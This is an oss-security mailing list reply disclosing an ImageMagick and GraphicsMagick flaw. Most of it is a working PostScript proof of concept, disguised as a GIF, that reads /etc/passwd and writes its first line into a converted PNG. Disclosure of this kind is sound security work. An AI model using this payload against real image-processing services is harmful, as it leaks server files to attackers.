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Date: Wed, 28 Sep 2016 14:23:56 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Cc: bfriesen@...phicsmagick.org
Subject: Re: ImageMagick identify "d:" hangs
On Wed, Sep 28, 2016 at 1:52 PM, Tavis Ormandy <taviso@...gle.com> wrote:
>
> It seems obvious you can manipulate the output based on this. I'd be
> interested to hear why I'm wrong about this.
>
Oh, you can just do this:
$ cat test.gif
%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont
/dumpname {
dup % copy filename
dup % copy filename
print % print filename
(\n) print % print newlinea
status % stat filename
{
(stat succeeded\n) print
( ctime:) print
64 string cvs print
( atime:) print
64 string cvs print
( size:) print
64 string cvs print
( blocks:) print
64 string cvs print
(\n) print
(\n) print
}{
(unable to stat\n\n) print
} ifelse
.libfile % open as library
{
(.libfile returned file\n\n) print
64 string readstring
pop % discard result (should proably test)
dup % copy read string
print % write to stdout
% write to output
newpath 0 0 moveto show showpage
(\n) print
}{
(.libfile returned string\n) print
print
(\n) print
} ifelse
} def
(/etc/passwd) /dumpname load 256 string filenameforall
$ convert test.gif png:test.png
<creates a file called test.png containing first line of /etc/passwd>
Also seems to work with gm convert.
Tavis.
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